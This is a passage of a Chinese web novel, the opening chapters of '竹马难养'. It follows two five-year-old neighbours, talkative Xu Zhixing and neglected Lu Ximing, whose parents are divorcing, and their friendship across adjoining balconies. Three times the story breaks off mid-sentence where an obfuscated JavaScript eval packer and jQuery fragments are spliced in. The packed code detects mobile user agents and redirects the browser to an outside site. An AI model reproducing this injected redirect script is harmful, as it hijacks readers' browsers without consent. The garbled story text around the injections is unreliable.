《竹马难养》 1. 邻居 “路——西——鸣!” 当喊出最后一个字的时候,徐知星大口喘气,躺在阳台的水泥地上,好半天才呼吸正常,黑亮的大眼睛隔着围栏直勾勾地看着旁边阳台的小孩,可路西鸣一个眼神都没分给他。 “路西鸣你怎么不说话啊?”徐知星从旁边零食袋里拿出一根棒棒糖,咳嗽两声,用嘴咬开包装纸,含着糖含糊不清地说,“你吃不吃糖啊?” “路西鸣?” “路西鸣!” “路西鸣……” “路西鸣你怎么总是一个人在阳台上啊?” 第七十八遍。 从今天早上截止到现在,徐知星一共喊了七十八次他的名字。 尽管自己一次都没理他。 可就算自己不搭理他,徐知星也玩得很开心。 他会看天,看云,看天空中飞来飞去的小鸟,听微风吹在树叶上哗啦作响的声音。世界上的一切对他来说都充满了新鲜感。 又在吃棒棒糖。 徐知星今天已经吃了三根棒棒糖,五个果冻,两瓶娃哈哈,一包辣条以及半块巧克力。 每一次还不厌其烦地问自己吃不吃。 橘黄色的太阳光移到了右边第二栋楼,徐知星的妈妈林女士还有三分钟就要下班到家了。 路西鸣已经听到楼下自行车铃叮铃铃的声音了。 五。 四。 三。 二。 一。 “徐知星!” “你今天又在家里吃了这么多零食!我看你晚上是想吃竹笋炒肉了!” 随之而来的是徐知星小声辩解的声音。 “妈妈我错了,我以后不吃那么多了……” 路西鸣唇角微微扬起。 这就是五岁徐知星的暑假生活。 喊路西鸣,吃零食,挨林女士骂。 日复一日,一直到暑假过半,某天路西鸣早上起来没有看到徐知星在阳台。 “妈妈,我真的要去爷爷家吗?” 林芳给徐知星穿好新买的鞋子,“你爸整天在工地监工,我也要去厂里上班,你白天一个人在家我不放心,把你送到你爷爷家去。你果果哥也在,你们俩做个伴。” 徐知星小脸皱起,脸上肉嘟嘟的,像个糯米团子,此刻刚睡醒,脸颊上还染着红晕,不乐意地嘟囔:“我不想去找果果哥,他每次都抢我零食,还打我手。” “他打你,你也揍他啊。” “他长得胖,我揍不过他。” “那你就去告诉爷爷。” “爷爷不管呢?” “那你就使劲揍,他敢打你,你就扇他。” 林芳性格泼辣,在厂里是出了名的小辣椒,组长见了她都要绕路走,也就生了徐知星这几年才散发出一点母亲慈爱的光辉。 有慈爱,但不多。 此刻她正忙着收拾徐知星的书包,“给你买了两排娃哈哈,一排给果果哥,一排自己喝。你一天喝一瓶,喝完我就来接你了。” 徐知星立马跑过去护住书包,“我才不把娃哈哈给果果哥。” “我要给路西鸣。” 林芳手上的动作停了下,欲言又止地看了眼自己儿子,“路西鸣都不理你,你还天天往人家旁边凑。” “可是路西鸣不欺负我啊,他也不抢我零食。”徐知星拿出一排娃哈哈想要跑到阳台递给路西鸣,却被林芳直接从地上抱起来。 “别去了,我们要赶不上大巴车了。”林芳将阳台的玻璃门拉好。 当年厂里分的家属楼,两家在一栋楼的两户,阳台挨的近,甚至大人都能直接翻过去。 路西鸣爸妈原先也是林芳纺织厂里的工友,前两年他爸去南方做生意了,搞汽车制造业,当上了老板。他妈也辞了厂里的活,在本地开了家美容院。 前些日子两个人闹离婚,他们都有自己的生活,要在各自的事业上大展拳脚。路西鸣就成了多余的累赘,请了保姆在家照顾。 平时这孩子话就少,一整天都不见吭一声,棕褐色的眼睛里不知道想的什么,长得倒是像个瓷娃娃一样,可是偏偏一副少年老成的模样,不讨人喜欢。 家属楼的小孩都不愿意和他玩,也就自己儿子缺心眼,人家不理他,他还眼巴巴地往前凑。 路西鸣站在阳台,从栏杆缝隙看到徐知星穿着浅蓝色的防晒外套,头上还被林芳扎了一个小啾啾,坐在那辆凤凰牌自行车后座的红色椅子上,渐渐消失在拐角。 路家的保姆刘菊看着晚上几乎没动的饭菜,埋怨道:“你早说你不吃,我就不做了,浪费我功夫。” 路西鸣没说话,从沙发上站起,“嘭”得一声锁上门回到自己的卧室。 保姆看着紧闭的房门,翻了个白眼,骂骂咧咧道:“怪不得爸妈都不愿意养,人小脾气大。” 徐知星在爷爷家待了三天,以把徐果按在地上揍哭作为结局,结束了自己的寄宿生活。 林芳和大嫂在徐爷爷家大吵一架,最后林芳大获全胜,光荣地带着徐知星回家。 “妈妈,我以后还来爷爷家吗?”丝丝缕缕的晚风吹过发间,徐知星坐在自行车后座舒服地眯起眼,他眉骨上被徐果抓了道红色的划痕,幸亏没伤到眼睛。 这下把林芳心疼坏了,马不停蹄地就带着儿子回家了。 林芳正用力地瞪自行车,此刻听到徐知星的话,蹬自行车的脚更加用力。 “反正我是不来,要来让你爸来,你爷爷一天到晚就偏心你大伯家,前年在村里盖房的钱还是我们家掏的,你大伯一分没出,我哪次去你爷爷家不是大包小包的东西送过去,结果你回去一趟连个鸡都舍不得杀,就知道把他大儿子一家当个宝。” “还有你那个大伯母我都不想说,天天就知道打牌,儿子也不管。” “你爸也是没心眼,哪次给你爷爷的钱,不都贴了他大哥家。” 林芳越说越来气,“还有你不要天天吃那么多零食,当心长得跟徐果一样胖。” “我不胖。”徐知星小声嘀咕,但很快他就想起什么,笑着说:“妈妈我们快回家吧。” “我要回家找路西鸣玩。” 人的优点都是在比较中产生的。 经过徐果一闹,林芳看路西鸣也顺眼了许多,最起码小孩长得好,人也乖,还不欺负自己儿子,闷就闷点吧,反正徐知星一天到晚话多的很。 路西鸣守在阳台,看着林女士又风风火火地骑着自行车把徐知星接回来了。 五、四、三、二、一。 “路西鸣!我刚才在楼下看到你了,我还喊你了,你是不是没听见?” 路西鸣低头看手上儿童版的百科全书,没有回话。 徐知星早就习惯了,自顾自说:“我前几天去我爷爷家了,所以我不在家,你有没有想我啊?” 路西鸣默默翻了一页书。 徐知星絮絮叨叨说了好些,期间还时不时咳嗽两声,说他有个堂哥长得很胖,每次抢他零食,之前总是欺负他,不过这次他揍回来了。 “我把他按在地上揍,我妈说的别人要是欺负我,我就揍他。他一直哭,明明是他先打我的,他还把我眼睛抓了,我忍了好几下,实在忍不住了。我跟他说了对不起才还手的。 “因为我爸说做人要先礼后兵,我不知道什么意思,我妈说就是打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13761654|145566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人之前要先说对不起。” 徐知星站在阳台,叉着腰神情十分自豪,“然后我特别大声地说,果果哥,对不起,我要揍你了!” 路西鸣嘴角略微抽搐,用书挡住了自己脸。 “徐知星回来吃饭!” 徐知星还意犹未尽地和自己唯一的观众告别,“我明天再来找你玩啊路西鸣,我要回去吃饭了。” 路西鸣还是一如既往地不说话。 林芳在厨房都听见了自己儿子的单人相声,给他夹了个卤鸡腿说:“明天你小姨过来,她明天放假,我让她把妞妞妹妹带来陪你一起玩。” “好耶!”徐知星坐在凳子上兴高采烈地举着鸡腿乱晃,甚至还不小心呛着,咳嗽了两声。 林芳笑着摸摸他的头,“慢点吃,没人跟你抢。” 第二天上午,路西鸣在阳台上除了看见徐知星外,还见到了一个扎着羊角辫穿白色纱裙的小女孩。 “妞妞,这是我的好朋友,路西鸣。” “路西鸣,这是我妹妹妞妞。”徐知星抓着栏杆,在中间互相给两人介绍。 妞妞也学着徐知星的样子,抓着栏杆大声喊:“路西鸣!” 一重奏变成两重奏。 妞妞喊了半天,路西鸣也不说话,她扣了扣脑袋问:“哥哥,他是不是小哑巴啊?不会说话。” “他不是,他之前说过话。”徐知星替路西鸣解释,“是他告诉我,他叫路西鸣的。” “那他怎么不理我们?” “他不爱说话。” 路西鸣瞥了徐知星一眼。 “可是他不说话,不就是哑巴吗?” 徐知星也不知道该如何解释,“反正不是。” 妞妞抓了抓自己辫子,歪着脑袋说:“哥哥,我们进去看动画片好不好,这里好晒,我都要晒黑,变成黑人了。” 徐知星看了看妞妞,又望了望路西鸣,犹豫了下牵着妞妞的手说:“那我们进去吧。” 还没等他们俩走进客厅,就听到隔壁阳台传来“嘭”得一下,极其响亮的关门声。 妞妞吓了一跳,眨巴眨巴眼睛小声说:“哥哥,路西鸣好凶啊。” 徐知星摸了摸脑袋,不知所措。 “他平时不这样,可能今天外面太热了。”徐知星贴心地给路西鸣找好理由。 “别理他,我们进去看电视,我们带了好多零食,我们去吃薯片。”妞妞一想到要吃零食就止不住傻笑。 “好!” 徐知星小姨只在他家待一天就走了,妞妞也随着离开。 阳台上又变成了徐知星一个人。 “路西鸣!” 徐知星一边喊一边往自己嘴里塞棒棒糖, 路西鸣从门缝里看见只有徐知星一个人才推开门,坐在自己的椅子上安静地看书。 林芳昨天听妞妞说阳台又热又晒,担心徐知星天天在阳台玩晒得难受,给他搭了个简易的三角小帐篷,里面铺了层柔软的床单,又避免了阳光直晒,徐知星躺在里面舒服地直打滚。 “路西鸣你过来和我一起玩好不好?” “昨天妞妞和我一起在帐篷里玩,我们吃了好多零食,我小姨还给我买了变形金刚,我们一起玩呀。” 路西鸣紧抿着嘴,看向阳台上粉红色的新帐篷,只要徐知星钻进去就看不到他的人了,隔着一层帐篷,徐知星的声音也小了很多,但尽管如此,也能清晰地传到路西鸣的耳朵里。 徐知星的问题连绵不绝,一个接着一个。 “路西鸣你饿不饿?” “路西鸣你怎么不说话啊?” “路西鸣你怎么每次都是一个人啊?” 2. 离婚 这个问题徐知星问了许多次,但每次都没有得到过回复,这次也毫不例外。 尽管次次都得不到答案,但徐知星依然乐此不疲。 毕竟和楼下的蚂蚁,他都可以聊一个小时。更不用说同龄的路西鸣了。 他会喋喋不休地说着各种事情,比如说自己姥姥家有一只大白鹅,有一次叨了他一下,好疼,后来姥姥就把这只鹅炖了。 徐知星提到这件事时有点后悔,他说自己挺喜欢那只大鹅的,早知道他就不跟姥姥说了,这样大鹅就不会死。 可是他也没有怪姥姥,他说那是因为姥姥心疼他。 在徐知星眼里,世界上就没有坏人。就连一直不理他的路西鸣也被解释为不好意思。 这样的单方面交流会一直持续到林芳下班,妈妈下班后,徐知星就不会再缠着路西鸣了。 徐知星离开阳台,路西鸣也会回到卧室,直到晚上九点,他听见父母在客厅说话的声音。 “你看看还有什么问题吗?别明天到了民政局又要改。” 餐桌前的女人穿着一身干练的浅咖色套装,薄唇紧抿,精致的眉眼中天然带着一份冷漠,路西鸣随了她这一点。五官挑不出错,却天然给人一种阴郁的感觉。 梁卓伸手将面前的离婚协议书推到自己的准前夫面前。 路建峰半垂着眼,翻着离婚协议书,“别的我没问题,就一点,路西鸣呢?” “路西鸣归你,这个房子也归你。”梁卓抱胸看向对面的丈夫。 “这房子归你,路西鸣留在你身边,抚养费我按最高的给,我鹏城那边的厂子正是忙的时候,我没时间带孩子。”路建峰把离婚协议书又推到梁卓面前。 “就你忙?我不忙?”梁卓嘴角微微上撇,似笑非笑地问:“我美容院的事情就不是事情,全天下就你路建峰的事情最重要对不对?” “梁卓,你别在这冷嘲热讽,我也不想跟你说。” “我们去问路西鸣,他愿意跟谁就跟谁,咱俩也别争。”路建峰猛地拉开椅子,推开路西鸣的房间,将床上睡觉的人拉起来。 “路西鸣,起来。” 路西鸣根本没睡,对于父母的争吵他早已经习以为常,被路建峰从床上拽起来后,他也一言不发,垂着头光脚踩在地上。 梁卓走过来,双手捧起路西鸣的脸,声音并不温柔,相比于路建峰的暴躁易怒,她身上有着不近人情的冷静,“路西鸣,我和你爸马上要离婚了,你以后想和我生活,还是和你爸?” 卧室内还没开灯,只有窗外冷清清的月光透过缝隙照在这分崩离析的一家三口身上。 梁卓刚做好的红色指甲紧紧贴着路西鸣惨白的脸颊,声音一下比一下冷漠,“你说话,路西鸣。” “你到底跟你爸还是跟我?” 路西鸣始终没有说话,只是低头看着自己没穿袜子的脚,冰凉的瓷板紧紧贴着他的脚掌,从下往上,身体发凉,寒意只击心底。 但面前的父母没有一个人在意这点细节,他们有着更重要的事情要做。 他们要离婚,要自由,要开始自己的新生活,迫不及待地将路西鸣抛给对方。 “你又不是哑巴,你为什么不说话?”路建峰不耐烦地推了两下路西鸣,示意他快点给出答案。 “你想不想和你爸一起生活?”梁卓主动开口问。 路西鸣缓缓抬起头,棕褐色的瞳孔镶嵌在脸上,宛如一条刚破壳而出的小蛇,他一动不动地凝视着面前的父母,仿佛在看向自己的整个世界。他们个个神情严肃,都等着他的答案。 路西鸣相信无论他说出口的答案是谁,那么另一方都会露出庆幸的表情。 他就是个急于出手的累赘,无论对于路建峰还是梁卓而言,他都是过去的错误。 寂静的卧室内传来一声低低的笑声,路西鸣嘴角咧开,露出残忍的笑意。他不想让他们任何一个人痛快,所以他不说话,不给答案,安静地折磨着自己的父母。 他甩开路建峰的手,回到床上,将被子盖在头上。无论被子外的父母如何歇斯底里,冷漠无情,他都不在乎,他们得不到解脱,他就痛快。 路西鸣有时候也会想,怪不得父母都不愿意要他,他就是这么讨厌,没有一个父母会喜欢这样的小孩。 可如果换做是徐知星呢? 如果是徐知星的父母离婚呢? 路西鸣毫不犹豫地给出答案,他们肯定都会抢着要徐知星。 毕竟徐知星那么讨人喜欢。 在五岁的年纪,路西鸣第一次尝到嫉妒的滋味。 第二天,路西鸣就被带到了民政局,他不知道最后自己到底判给了谁,但是他依然住在单元楼三楼,徐知星家隔壁。 夜色四合,居民楼里纷纷亮起灯光,隔壁徐知星家却难得一天没人在家。 路西鸣在阳台坐了很久。 直到墨蓝色的天空渐渐爬上点点星光,楼下传来一阵摩托车的轰鸣声,打破了长久以来的寂静。 “星星,你慢点跑。”林芳的声音从楼下传来。 随之而来是徐知星在楼梯间说话的声音,“妈妈我是第一!” “你慢点,没人跟你抢。” 徐知星含着棒棒糖一口气爬到三楼,用钥匙打开了门,迫不及待地跑到阳台。 “路西鸣!” “路西鸣,我回来了!我今天去姥姥家了,我晚上吃了鸡肉,你吃饭了吗?” 路西鸣没说话,只是静静地坐在阳台,像一座雕塑。 徐知星朝楼下望了一眼,爸爸妈妈正在和楼下的婶婶说话,他又转头看了看路西鸣,摸了摸脑袋问:“路西鸣,你爸爸妈妈呢?” “你怎么每次都是一个人啊?” 尽管不是第一次听到这个问题,可是这次落在路西鸣耳中却格外尖锐。 徐知星的幸福在他眼里,就像是颗刺眼的星星。 徐知星越是幸福,显得他越是凄惨可怜。 总是沉默的人从凳子上站起来,快步走到阳台栏杆处。 对面的徐知星脸上还带着笑,暖黄色的灯光照在他白嫩的脸上,显得格外可爱。 凭什么你可以那么幸福开心? 凭什么? 路西鸣不管不顾地对着徐知星发泄道:“因为他们都不要我,没有人养我,所以我只能一个人。” “你听清楚了吗?” 吼出这一切后,路西鸣清楚地看见徐知星脸上的错愕懵懂,他心中的怒火不满顿时被浇灭,他甚至没有等到徐知星的答案就落荒而逃,逃避地扑在床上,用被子隔开了自己和外界的一切联系。 可尽管如此,他脑子里还不断浮现起徐知星茫然无措,呆立在原地的神情。 徐知星以后就不会来和他说话了吧。 这样也好。 他落个清静。 所有人都消失,整个世界都去死,根本没有人在乎他。 徐知星在阳台站了很久,直到林芳回家后喊了声,“星星,快进来,外面有蚊子。” 这一下才让徐知星恍然大悟,“妈妈!路西鸣不是小哑巴,他会说好长一句话,他好厉害!我要跟妞妞说,不能叫路西鸣小哑巴了。” 林芳配合地哇了一声,“那他跟你说什么了?” 徐知星皱皱眉,“他说没有人养他,妈妈,为什么没有人养他?他说话的时候好伤心,他肯定要哭了。” 林芳朝阳台看了看,关好玻璃门,小声道:“因为路西鸣爸爸妈妈离婚了。” “什么是离婚?”徐知星眨了眨眼睛。 “离婚就是爸爸妈妈以后不生活在一起了。” 徐知星着急地抓住林芳的手,“那我呢?我怎么办啊?” “爸爸妈妈不要离婚。” “不是爸爸妈妈要离婚,是路西鸣的爸爸妈妈离婚了。”林芳见儿子撇着嘴马上都快哭出来的样子,赶紧解释。 “那路西鸣怎么办啊,没有人养他了。”徐知星还是很发愁。 “妈妈也不知道怎么办,可能他会跟着他的爸爸或者妈妈。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13761655|145566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“可是路西鸣刚才说没有人养他,他的爸爸妈妈都不要他了。” “为什么他的爸爸妈妈不要他了?” 林芳和徐明军对视一眼,一时不知道该如何解释这件事。 徐知星眨巴眨巴眼睛,“没人养路西鸣的话,我可以养路西鸣吗?” 徐明军被自己儿子童言无忌的话逗笑了。 “你怎么养?你有钱吗?” “养路西鸣要花钱吗?”徐知星摸了摸脑袋。 林芳抱起他说:“当然了,养路西鸣肯定要花钱啊,养你不也要花钱吗?” “养小孩就是要花很多很多钱。” 徐知星想了下说:“那我有钱了就能养路西鸣了?” 对于儿子的问题,徐明军不以为意,从卫生间里拿出猪肝红的大洗澡盆,放出热水用手试探着温度,“行啊,等你有钱了你想干啥干啥。” 徐明军回头笑笑:“可惜小星星,你没有钱。” 徐知星嘟了嘟嘴,认真回想起自己难道真的没有钱吗?! 他明明记得自己每年都有压岁钱,可多了! “星星,你为什么要养路西鸣呢?”林芳让徐知星抬手,脱掉他的衣服,把他丢进澡盆里, “我想让他和我玩。”徐知星坐在澡盆里,摆弄着自己的小鸭子捏捏玩具。 “人家不想和你玩,你别天天凑过去。”徐明军把肥皂打湿擦在徐知星身上,他之前就听妻子说过,路西鸣平常根本不搭理徐知星,自己儿子还巴巴地凑过去,热脸贴人家冷屁股。 “那小孩脾气可怪了,两口子都不想要他。”林芳在一旁感叹说,“怎么能这样当爹妈呢。” 徐明军忙着给徐知星洗澡,经这一提醒想起说,“之前我听说路西鸣上半年去幼儿园,第一天就把一个小孩打了,鼻血都流出来了,之后路建峰就把儿子放家里,找了个保姆看着。” “以后星星也离他远点。” 林芳听到这个消息,心中骤然一紧,平常隔着阳台两小孩倒没什么肢体接触,可万一徐知星天天招惹路西鸣,把人家惹烦,平白挨一顿打多不值得。这下也紧随着徐明军的话,对徐知星交代说,“平常在家看动画片,不要总是去找路西鸣,知道吗?” 徐知星身上都是肥皂的泡沫,他玩着肥皂水打出的泡沫说:“可是路西鸣没有打我。” “等真打你,你哭就来不及了。” 夫妻俩此刻站在一条线上,一致认为徐知星要离路西鸣远点。 可偏偏徐知星不这么想,盘算着爸爸说的那句话,等他有钱了他就能养路西鸣了,到时候路西鸣就能和他一起玩了。 路西鸣早上是被保姆喊起来的。 “我去买菜,你在家待着,不许乱跑。”保姆丢下这句话后就关上了防盗门,丝毫没有在意路西鸣根本没吃早餐。 路西鸣也早就习惯饿肚子的滋味了,只是眼神却时不时瞥向阳台。 徐知星今天应该不会来找他了,毕竟自己昨天那么凶。 徐知星估计都没有被人这么凶狠地对待过,他那么讨人喜欢,所有见过他的人都喜欢他。 他被人凶了一顿,肯定不会再凑过来了。 这样挺好的。 他不想再看到徐知星在他面前耀武扬威地炫耀他的幸福了。 他住在心里重复了十遍讨厌徐知星,在第十一遍的时候拿起书,朝阳台走去。 站在生锈的铁门面前,路西鸣停住了脚步,只要他再向前一步,推开门就能看到隔壁 果然不在。 尽管已经猜到徐知星不会再来找他了,可真的发现人不在时,路西鸣心里却升出一种异样的感觉。 只是这种失落还没持续到一分钟,隔壁阳台就传来哗啦一下推门声以及徐知星兴高采烈的声音。 他穿着蓝色的牛仔背带裤,白色的短袖上印着一只小黄鸭,手上高高举着粉红色的小猪存钱罐,站在阳光下高声喊道:“路西鸣,我有好多钱,我可以养你。” “你和我玩好不好啊?” 3. 存钱罐 路西鸣拿着书错愕地站在原地。他以为徐知星再也不会出现在他面前了,可徐知星不仅出现了,还说要养他。 连自己的亲生父母都不愿意养他,迫不及待地想要把他这个过去的错误抛给别人。 可是徐知星说要养他。 徐知星想了好久,他所有的钱都在他的小猪存钱罐里,每年的压岁钱爸爸妈妈说都存在里面了,肯定有超级多。 他超级有钱,他可以养路西鸣。 不仅如此,徐知星还从胸前的口袋里掏出一个水煮蛋,“妈妈早上给我煮了两个蛋,我吃了一个,还有一个。” “给你。” 徐知星一手捧着小猪存钱罐,一手握着水煮蛋。伸长手臂伸过栏杆递给另一边的路西鸣。 “以后我的早餐都分你一半,我养你。” 路西鸣身体僵硬,不知所措地站在原地。 徐知星握着鸡蛋的手都要酸了,“路西鸣,你不吃吗?” 路西鸣望了望鸡蛋,垂下眼说:“你不讨厌我吗?” 徐知星不解地歪了歪头,“为什么要讨厌你?” “我昨天对你生气发火。” 徐知星啊了一声,茫然道:“你昨天什么时候生气?” 路西鸣抬眼望了下徐知星的模样,心底暗暗道:笨蛋一个。 “昨天晚上,我生气了。” “为什么生气?”徐知星一直伸着胳膊给路西鸣鸡蛋,他一直不接,徐知星手酸了,收了回来,在栏杆上磕了磕鸡蛋。 路西鸣注意到这个动作,以为徐知星知道自己对他发火了,所以不打算把鸡蛋给他了,心下一横,“因为我讨厌你。” 徐知星剥鸡蛋的动作停了下,仔细看了看路西鸣,只见他垂着头看着阳台的瓷砖,并没有直视自己,咧开嘴笑了笑说:“我不信,你在撒谎。” 路西鸣没说话。 徐知星肯定道:“你不敢看我,就说明你在撒谎。 路西鸣闻言抬起头看了看徐知星,只是眼神却无法控制的乱飘。 徐知星则继续说:“你要是讨厌我,你为什么还和我说话?” 路西鸣答:“我之前就没有和你说话。” “可是你现在在和我说话啊。如果你真的讨厌我,你为什么要等我呢?” 这句话不知道哪里戳中路西鸣的肺管子了,他反驳说:“我没有等你!” “你没有等我,我为什么每次都能在阳台看到你呢?”徐知星说话的同时还不忘继续剥鸡蛋。 “我只是刚好在这里。” “可是如果你真的讨厌我,那你就不会在这里啊。难道你讨厌我,还愿意看我吗?还愿意陪我吗?” “而且我和你说话,你也没有走,这说明你不讨厌我啊。我讨厌虫子,我就不愿意看到它们,每次看到了就要躲开,那对你来说,我就不是虫子啊。”徐知星很早就会说话了,平时长篇大论一套套的。 路西鸣不知道怎么反驳,但他就是讨厌徐知星,徐知星就是个笨蛋。笨蛋才不相信他说的话,笨蛋才相信自己不讨厌他。 徐知星见路西鸣不说话,知道自己肯定是说服他了。将刚剥好的鸡蛋递过去,“你吃鸡蛋路西鸣。” “我以后养你,你不要伤心了。” 路西鸣早上什么都没吃,如果他不吃这个鸡蛋,那他就要等到中午保姆回来做饭。保姆买了菜后一般会再去找个地方打麻将,要很晚才能吃到饭。 在路西鸣纠结时,徐知星催促说:“你快点啊路西鸣,我手都要酸了。如果你不再拿鸡蛋就要掉啦。” 路西鸣朝前挪了两步,矜持地抬起手,从徐知星手中接过了鸡蛋,他不是因为不讨厌徐知星才接过鸡蛋的,他只是不想浪费粮食。 徐知星等路西鸣拿稳鸡蛋后才松手,双手抓着栏杆说:“路西鸣,你不要伤心啊,我有好多钱,我以后可以养你。” 路西鸣嘴里还含着鸡蛋,含糊不清地说:“我没有伤心。”他才不会伤心。 徐知星皱皱眉,“可是你昨天……” 路西鸣打断说:”昨天我也没有伤心。“ 徐知星想了想,摸了摸自己脸,路西鸣怎么总是不说实话呢,明明就是很伤心。可是还没等他问出口,路西鸣就换了个话题,“你哪里有钱?” 徐知星骄傲地举起自己的小猪存钱罐,“这里有,这里有好多。” 徐知星晃了晃存钱罐,里面发出硬币相撞清脆的声音。 “好多钱。” “……” 见路西鸣不信,徐知星迫不及待地拔开小猪鼻子,开始扣小猪身体的钱。 “好多呢。” 存钱罐的设计向来都是存钱容易取钱难。 徐知星怀里的小猪存钱罐是塑料制的,存钱的入口有两个,一个是小猪身体上的投币口,可以存硬币,一块的五毛的一毛的。 另一个口则是可以拔开的猪鼻子,猪鼻子拔开后是个圆圆的小孔,和一块硬币大小差不多。 如果想要不砸坏存钱罐取钱,只能从猪鼻子里一点点扣,纸币和五毛一毛的硬币很容易就掉下来了,只有一块钱的硬币比较费劲,需要两个手指捏着竖卡在洞口的硬币将它拔出来。 徐知星一番折腾下来,手指都磨红了,也才抠出两三个硬币。 “取不出来,怎么办,路西鸣?”徐知星哭丧着脸。 如果取不出来钱,他就不能养路西鸣了。 可是这个存钱罐也很可爱,徐知星不太舍得砸掉。 就在他纠结之时,路西鸣突然转身离开回了房间。 “路西鸣你怎么走了啊?” “你不要走啊,我马上就把钱拿出来,我养你啊。”徐知星一边说一边着急地从猪鼻子里扣钱。 路西鸣听见徐知星着急的声音,回头说:“等我。” “哦。”徐知星不明所以,但依然乖乖答应,期间还不忘努力扣钱。 在一番努力下,他终于从小猪身体里拿到了两个一块硬币,四个五毛硬币,一个一毛硬币。 就在他继续奋战时,路西鸣手中握着一个黑色的石头从房间里走出来。 “路西鸣,你去干嘛了啊?”徐知星手指塞在猪鼻子里,艰难地夹着一个硬币问。 “给我。”路西鸣指了指小猪存钱罐。 “好。”徐知星想要将存钱罐通过栏杆递过去,可是小猪太胖了,栏杆缝隙太小了,递不过去。 徐知星尝试了几下也没递过去,只好放弃说:“路西鸣你过来好不好?” “这个栏杆我也钻不过去。”路西鸣用手指比了比栏杆的宽度。 “你来我家玩啊。”徐知星眼珠微动,眨巴眨巴眼期待地说。 路西鸣反问:“那为什么不是你来我家?” “因为妈妈不让我出门。”徐知星回答地理直气壮。 “好不好嘛路西鸣,你过来嘛。” 徐知星是被家里宠着长大的,平时惯会撒娇,一有什么大人不同意的要求,他就嗲兮兮地撒娇。 “我家有好多零食和玩具,路西鸣你最好了,你过来吧。” 徐知星撒娇时尾音拖得极长,不断地喊着路西鸣的名字,那双水汪汪的大眼睛也直直地盯着人看。 他总是有很多话,嘴巴一张一合地说个不停。两颊的肉瞧着软乎乎的,他头发有些长,林芳一直没时间带他去剪头发,索性给他扎了个啾啾,小小的一个长在头顶上,像是苹果的果柄。 “好不好呀,路西鸣。” 尽管心里已经被徐知星缠得同意了,可路西鸣嘴上还是迟疑了下,轻轻嗯了一声。 听到路西鸣肯定的答案,徐知星又蹦又跳,欢呼着让路西鸣快点过来。他早早地就等在门口,一看见路西鸣出来,就高声喊着他的名字,仿佛那不只是个简单的名字,而是胜利的号角。 路西鸣还有两三步路到的时候,徐知星就迫不及待地想要跨过门槛去找他,可是刚抬起一只脚,又想起妈妈说的不许出门,只好又把悬在半空中的脚收了回来。 相比于徐知星的急切,活蹦乱跳,路西鸣则显得慢条斯理,不慌不忙,他转身关好门,再慢慢地走到徐知星家门口。 还有一步路的时候,徐知星一把抓住路西鸣的胳膊,高兴道:“你快进来!” 路西鸣站进屋内后,徐知星连忙把门关上,双脚踩站在小板凳上把反锁的按钮转了两圈。 路西鸣见他踩在板凳边缘上摇摇欲坠,于是伸手把板凳另一边扶住稳住了平衡。 徐知星锁好门跳下板凳,迫不及待地牵着路西鸣往里走。 只是路西鸣却没有动,站在门口的脚垫上说:“没换鞋。” 徐知星啊了一声,打开鞋柜,在里面找了半天,“你穿这个。” 那是一双和徐知星脚上样式相同,只有颜色不同的拖鞋。 拖鞋的脚面上嵌着一只扁扁的鸭子嘴巴,两双鞋子唯一的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13761656|145566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 区别是徐知星脚上的是小黄鸭,递给路西鸣的那双是小黑鸭。 见路西鸣没动,徐知星又歪着头想了想,“干净的。” 似乎是怕路西鸣不相信,徐知星又把拖鞋翻了个面,把鞋底给路西鸣看。 “你看鞋底都没有踩过。” “妈妈之前在超市买的。” 路西鸣接过拖鞋,把自己鞋子脱掉,整整齐齐地放在门口。 徐知星在旁边等着路西鸣换好鞋,牵着他向客厅走。 路西鸣这时才仔细打量起徐知星家的布局,三室一厅,和他家布局几乎一模一样。墙上挂着LED的电子钟,长长方方的屏幕上映着绿色的山水风景画,红字的数字显示着今天的日期,8月3日。客厅的茶几桌上搭着淡粉色的碎花桌布,茶几桌的四个角还被软布包了起来。 茶几被推到电视柜下,给客厅腾出一大块空地。一大两小的沙发围成半圈,中间铺上了花花绿绿的海绵泡沫板,上面五花八门地堆放着徐知星的各种玩具和零食。 徐知星脱掉自己的小黄鸭拖鞋,踩在海绵板上,从零食袋里拿出一瓶娃哈哈,戳上吸管后递给路西鸣。 “你喝。” 看路西鸣接过娃哈哈后,徐知星也给自己拆了一瓶。猛喝一口,继续在海绵板上抠着小猪存钱罐的钱。 路西鸣见他半天都没抠出一个硬币,拿出口袋中的黑色石头,“存钱罐,给我。” 徐知星乖乖地把存钱罐递过去。 路西鸣将存钱罐朝下举起,把手上的黑色石头放在猪鼻子。 